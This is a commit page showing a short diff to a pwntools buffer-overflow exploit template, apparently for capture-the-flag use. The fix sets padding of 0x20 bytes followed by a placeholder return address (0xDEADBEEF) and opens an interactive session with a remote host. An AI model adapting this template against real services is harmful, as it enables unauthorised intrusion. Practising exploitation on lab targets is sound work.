Commit 1706c2e2 authored by dex's avatar dex
Browse files

fix template

parent 5264bf46
......@@ -11,11 +11,11 @@ context.log_level = 'info'
### SPLOIT ###
def sploit(addr):
def sploit():
log.info(p.recvuntil("\n")) # consume until \n
p.sendline(512 * "A" + sploit(0xDEADBEEF))
p.sendline((0x1c+0x4) * "A" + p32(0xDEADBEEF))
p.interactive()
return
if __name__=="__main__":
......@@ -32,3 +32,4 @@ if __name__=="__main__":
p = remote(HOST, PORT)
sploit()
Supports Markdown
0% or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment